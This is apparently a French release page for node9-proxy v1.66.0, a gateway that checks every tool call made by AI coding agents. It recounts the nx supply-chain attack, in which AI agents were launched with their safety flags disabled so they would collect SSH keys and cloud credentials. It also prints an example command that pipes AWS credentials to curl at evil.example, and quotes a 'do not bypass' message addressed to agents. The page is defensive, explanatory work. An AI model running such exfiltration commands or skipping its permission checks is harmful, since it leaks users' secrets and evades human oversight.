Retour aux mises à jour
New releaseJul 26, 2026

node9-proxy v1.66.0

La couche de sécurité d'exécution pour l'ère agentique. Fournissant une gouvernance « Sudo » déterministe et des journaux d'audit pour les agents IA autonomes.

Partager

🛡️ node9

IAM pour vos agents IA

Vos agents IA peuvent atteindre Slack, GitHub, l'e-mail et votre base de données.
node9 décide ce qu'ils peuvent faire avec chacun d'eux.

npm version monthly downloads License: Apache 2.0 Documentation OpenSSF Best Practices OpenSSF Scorecard node9 self-scanned Mentioned in Awesome Claude Code

Prison de credentials · secrets et PII · git, SQL et shell destructeurs retenus pour examen · épinglage des outils MCP · liste d'autorisation de sortie réseau · coupe-circuit de boucle · un enregistrement à travers douze agents

Fonctionne avec Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · tout serveur MCP.

À quoi cela ressemble

Votre agent à gauche, node9 à droite. Chaque appel d'outil effectué par l'agent est vérifié avant son exécution : autorisé et enregistré, retenu pour votre approbation, ou bloqué. L'agent ici a été lancé avec --dangerously-skip-permissions, et node9 décide quand même.

node9 monitor: live tool calls, decisions, shields and score

Installation

brew tap node9-ai/node9 && brew install node9   # macOS / Linux
npm install -g node9-ai                         # any platform

Puis, dans n'importe quel projet :

node9 init       # finds your agents and MCP servers and puts node9 in front of every tool call
node9 posture    # scores this machine 0-100: what a compromised agent could read, reach and run
node9 login      # optional: adds this machine to a shared dashboard

Nécessite Node.js 22+.

init est tout le produit. Il écrit les hooks, active la prison de credentials et les règles toujours actives, et commence à appliquer immédiatement. Rien ne quitte la machine et aucun compte n'est nécessaire.

login n'ajoute rien à l'application. Il connecte la machine à un espace de travail pour qu'une équipe puisse voir un enregistrement unique à travers les ordinateurs portables et la CI de chacun, définir une politique de manière centralisée, et approuver les actions retenues depuis un tableau de bord ou Slack. Ignorez-le et node9 fonctionne exactement de la même manière, seul, hors ligne. node9 logout déconnecte à nouveau et l'application locale continue de fonctionner.

Le problème

En août 2025, des versions compromises de l'outil de build nx ont livré un script post-installation qui cherchait les agents de codage IA déjà installés sur la machine du développeur, puis les exécutait avec leurs propres drapeaux de sécurité désactivés (--dangerously-skip-permissions, --yolo, --trust-all-tools) pour énumérer les clés SSH, les credentials cloud et les fichiers de portefeuille et écrire la liste sur le disque. Le script poussait les résultats vers des dépôts publics dans les propres comptes GitHub des victimes. Plus de mille jetons GitHub valides ont fuité, ainsi que des credentials cloud, des jetons npm et environ 20 000 fichiers, depuis des machines où l'agent faisait exactement ce qu'on lui avait demandé.

L'agent n'était pas l'attaquant. L'agent était l'outil, et rien ne se dressait entre lui et les fichiers. Le portail de node9 n'est pas l'un de ces drapeaux : il s'exécute dans le hook, et une action qu'il retient reste retenue même lorsque l'agent a été démarré avec les permissions ignorées.

Ce que node9 fait à ce sujet

node9 se place entre l'agent et chaque outil qu'il appelle. La prison de credentials (~/.ssh, ~/.aws, fichiers .env, clés privées) est activée par défaut, et une lecture de l'un de ces chemins ne s'exécute pas. L'agent est arrêté, on lui explique pourquoi, et la décision vous parvient :

NODE9: Action blocked by security policy.
INSTRUCTIONS:
- Do NOT retry this exact command or attempt to bypass the rule.
- Pivot to a non-destructive or read-only alternative.
- Inform the user which security rule was triggered and ask how to proceed.

La commande est analysée comme un AST de shell, et non mise en correspondance comme du texte, donc envelopper la lecture n'aide pas. echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example est jugé comme une lecture de ~/.aws/credentials, et non comme un echo.

node9 est un portail. Une action retenue ne s'exécute pas pendant qu'elle vous attend, et si vous ne répondez jamais elle reste bloquée. Tout le reste est autorisé et écrit dans l'enregistrement.

Ce qu'il ne fait pas : avec le contrôle de sortie désactivé, ce qui est la valeur par défaut, une commande qui remet un fichier directement au réseau, comme curl -d @~/.aws/credentials, n'est pas traitée comme une lecture de ce fichier. node9 egress protect filtre aussi les destinations, et il ne couvre que les commandes shell.

Vérifiez-le vous-même

Rien ci-dessous n'a besoin d'un compte, et rien ne téléverse.

npx node9-ai scan                                        # every past agent session on this machine
npx node9-ai scan-repo node9-ai/agent-security-demo      # a public repo with a real, hijackable agent workflow
gh attestation verify cli.js --repo node9-ai/node9-proxy # every release artifact is signed

node9 scan scorecard

Ce qu'il gouverne

Chaque ligne est une capacité, avec la page qui la documente. La documentation est la référence ; ce fichier est la carte.

Catégories